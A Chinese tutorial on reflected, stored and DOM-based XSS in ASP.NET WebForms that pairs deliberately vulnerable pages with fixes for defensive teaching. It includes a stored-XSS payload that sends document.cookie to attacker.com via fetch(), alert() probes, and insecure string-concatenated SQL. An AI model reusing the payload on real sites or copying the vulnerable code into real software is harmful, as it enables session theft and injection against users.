一、什么是XSS漏洞攻击
1、介绍:
XSS 攻击(跨站脚本攻击)的核心是: 攻击者通过在网页中注入恶意的 JavaScript 代码,当其他用户浏览该页面时,这段代码会在他们的浏览器中执行。
由于这些脚本是在受害者的浏览器中运行的,因此它们可以:
1、窃取用户的 Cookie、Session 信息
2、冒充用户执行操作(如转账、发帖)
3、 修改页面内容进行钓鱼
4、 记录键盘输入
二、XSS 的三种主要类型
1、反射型 XSS 攻击
-
反射型 XSS(Reflected XSS)
恶意脚本作为请求的一部分发送给服务器,服务器未过滤直接将其返回给响应。常见于搜索结果、错误消息等。需要诱使用户点击恶意链接。
案例演示:
1、创建一个易受攻击的 WebForm 页面 (VulnerablePage.aspx)
html<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="VulnerablePage.aspx.cs" Inherits="XssDemo.VulnerablePage" ValidateRequest="false" %> <%--注意:因为WebForm 默认开启"防止常见脚本提交"。如果想看到演示效果需要关闭,将 <%@ Page ValidateRequest="false" %>--%> <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head runat="server"> <title>XSS 演示 - 易受攻击页面</title> </head> <body> <form id="form1" runat="server"> <div> <h2>XSS 演示:反射型 XSS</h2> <!-- 用户输入框 --> <asp:Label ID="Label1" runat="server" Text="请输入您的名字:" AssociatedControlID="txtName"></asp:Label> <asp:TextBox ID="txtName" runat="server"></asp:TextBox> <asp:Button ID="btnSubmit" runat="server" Text="提交" OnClick="btnSubmit_Click" /> <br /><br /> <!-- 危险的输出方式:直接将用户输入写入页面 --> <asp:Literal ID="litOutput" runat="server"></asp:Literal> </div> </form> </body> </html>2、后台代码 (VulnerablePage.aspx.cs)
csharppublic partial class VulnerablePage : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { // 检查是否有通过查询字符串传入的名字(模拟反射型XSS) string nameFromQuery = Request.QueryString["name"]; if (!string.IsNullOrEmpty(nameFromQuery)) { // ⚠️ 危险!直接将用户输入拼接到 HTML 输出中 litOutput.Text = "<p>你好," + nameFromQuery + "!</p>"; } } protected void btnSubmit_Click(object sender, EventArgs e) { // ⚠️ 危险!未对用户输入进行任何验证或编码 string userInput = txtName.Text; // 直接输出到 Literal 控件(Literal 默认不进行 HTML 编码:HttpUtility.HtmlEncode(userInput)) litOutput.Text = "<p>你好," + userInput + "!</p>"; } }攻击场景 1: 通过表单提交:在 txtName 输入框中输入以下js代码:
html<script>alert('XSS 攻击成功!');</script>点击"提交"按钮。
结果:浏览器会弹出一个警告框,显示 "XSS 攻击成功!"。这表明恶意脚本被执行了。
攻击场景 2: 通过 URL 参数(反射型 XSS):直接访问以下 URL:
htmlhttp://yourwebsite/VulnerablePage.aspx?name=<script>alert('XSS%20via%20URL!');</script>结果:页面加载时,脚本被执行,弹出警告框。
✅ 解决方案
使用HttpUtility.HtmlEncode()编码
csharpprotected void Page_Load(object sender, EventArgs e) { string nameFromQuery = Request.QueryString["name"]; if (!string.IsNullOrEmpty(nameFromQuery)) { // ✅ 使用 HttpUtility.HtmlEncode 进行 HTML 编码 litOutput.Text = "<p>你好," + HttpUtility.HtmlEncode(nameFromQuery) + "!</p>"; } } protected void btnSubmit_Click(object sender, EventArgs e) { string userInput = txtName.Text; // ✅ 对用户输入进行 HTML 编码后再输出 litOutput.Text = "<p>你好," + HttpUtility.HtmlEncode(userInput) + "!</p>"; // 或者使用更安全的 Label 控件(自动编码) // lblOutput.Text = "你好," + userInput + "!"; // Label 会自动 HTML 编码 }
2、存储型 XSS 攻击
-
存储型 XSS(Stored XSS)
恶意脚本被永久存储在服务器上(如通过提交表单数据,将<script>脚本直接保存到数据库表中)。当其他用户访问包含该脚本的页面时,自动执行。
危害更大,影响范围广。
html<!-- Guestbook.aspx --> <asp:TextBox ID="txtMessage" runat="server" TextMode="MultiLine"></asp:TextBox> <asp:Button ID="btnSubmit" runat="server" Text="提交留言" OnClick="btnSubmit_Click" /> <asp:Literal ID="litMessages" runat="server"></asp:Literal>后台
csharp// ❌ 危险示例:未验证输入,未编码输出 protected void btnSubmit_Click(object sender, EventArgs e) { string message = txtMessage.Text; // 危险:直接存储用户输入 SaveToDatabase("INSERT INTO Messages (Content) VALUES ('" + message + "')"); // 危险:直接输出,未编码 litMessages.Text += "<div>" + message + "</div>"; }假设用户在留言框中输入的是以下这段JS脚本:
javascript<script> fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie)); </script>当用户在浏览器中打开Guestbook.aspx页面,就会执行到这段JS脚本代码,这段JS脚本代码会悄悄地将当前页面的 Cookie 发送给攻击者的服务器 。这是一个典型的 XSS(跨站脚本攻击)恶意载荷 ,用于窃取用户身份信息。
✅ 解决方案
方案1、使用 HttpUtility.HtmlEncode 编码后再显示。
javascript// 安全输出 litMessages.Text += "<div>" + HttpUtility.HtmlEncode(message) + "</div>";方案2、使用 HTML Sanitizer 库(推荐)
csharpusing System.Data.SqlClient; // 建议使用参数化查询 using HtmlSanitizer = Ganss.XSS.HtmlSanitizer; // 使用 HtmlSanitizer 库(需 NuGet 安装) public partial class Guestbook : System.Web.UI.Page { protected void btnSubmit_Click(object sender, EventArgs e) { string message = txtMessage.Text; // 1. ✅ 输入验证与清理 if (string.IsNullOrWhiteSpace(message)) { // 可选:前端也应验证 lblError.Text = "留言内容不能为空。"; return; } // 2. ✅ 使用 HtmlSanitizer 清理富文本(允许部分HTML) var sanitizer = new HtmlSanitizer(); sanitizer.AllowedTags.Clear(); sanitizer.AllowedTags.Add("b"); // 加粗 sanitizer.AllowedTags.Add("i"); // 斜体 sanitizer.AllowedTags.Add("u"); // 下划线 sanitizer.AllowedTags.Add("br"); // 换行 sanitizer.AllowedTags.Add("p"); // 段落 string cleanMessage = sanitizer.Sanitize(message); // 清理后的HTML // 3. ✅ 使用参数化查询防止SQL注入 string connectionString = "your_connection_string"; string query = "INSERT INTO Messages (Content, CreatedDate) VALUES (@Content, @CreatedDate)"; using (var conn = new SqlConnection(connectionString)) using (var cmd = new SqlCommand(query, conn)) { cmd.Parameters.AddWithValue("@Content", cleanMessage); cmd.Parameters.AddWithValue("@CreatedDate", DateTime.Now); conn.Open(); cmd.ExecuteNonQuery(); } // 4. ✅ 输出时仍然建议编码(双重防护) litMessages.Text += "<div>" + HttpUtility.HtmlEncode(cleanMessage) + "</div>"; // 或者:如果您信任 sanitizer 的输出,可以直接输出(但仍建议编码) // litMessages.Text += $"<div>{cleanMessage}</div>"; } }方案3、启用 ASP.NET 请求验证:WebForm 默认开启,防止常见脚本提交。
csharp<%@ Page ValidateRequest="true" %>
3、基于 DOM 的 XSS攻击
-
基于 DOM 的 XSS(DOM-based XSS)
漏洞存在于客户端 JavaScript 代码中,攻击通过修改页面的 DOM 环境来触发。
服务器不参与脚本注入,完全在浏览器端发生。
案例场景:通过 URL 参数注入恶意脚本
假设你有一个 .NET WebForms 页面 UserProfile.aspx,其功能是根据 URL 中的 username 参数显示用户昵称。
html<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="UserProfile.aspx.cs" Inherits="MyApp.UserProfile" %> <!DOCTYPE html> <html> <head runat="server"> <title>基于 DOM 的 XSS攻击演示</title> </head> <body> <form id="form1" runat="server"> <div> <h1>Welcome, <span id="displayName"></span>!</h1> </div> <script type="text/javascript"> // 从 URL 参数中提取 username function getParameterByName(name) { name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]"); var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"), results = regex.exec(location.search); return results === null ? "" : decodeURIComponent(results[1].replace(/\+/g, " ")); } // 将 username 直接写入 DOM(危险!) var username = getParameterByName('username'); document.getElementById("displayName").innerHTML = username; </script> </form> </body> </html>攻击者构造恶意 URL:
htmlhttp://yoursite.com/UserProfile.aspx?username=<script>alert('XSS')</script>当用户访问该链接时,JavaScript 会将 直接插入到 innerHTML 中,浏览器将其作为 HTML 解析并执行脚本,弹出警告框。
更危险的变种可能包括:
1、窃取用户的 document.cookie
2、重定向到钓鱼页面
3、发起 CSRF 请求
4、记录键盘输入
✅ 解决方案
方案 1:使用 textContent 替代 innerHTML最简单有效的方式是避免将用户输入作为 HTML 插入。
typescript// 安全:使用 textContent(不会解析 HTML) document.getElementById("displayName").textContent = username;这样即使 username 包含 <script> 标签,也会被当作纯文本显示,不会执行。
方案 2:对输出进行 HTML 编码(客户端)
如果必须使用 innerHTML,应先对内容进行 HTML 转义:
javascriptfunction escapeHtml(text) { var div = document.createElement('div'); div.textContent = text; return div.innerHTML; } var safeUsername = escapeHtml(username); document.getElementById("displayName").innerHTML = safeUsername;方案 3:使用现代框架的转义机制(如 jQuery 的 .text())
javascript$('#displayName').text(username); // 自动转义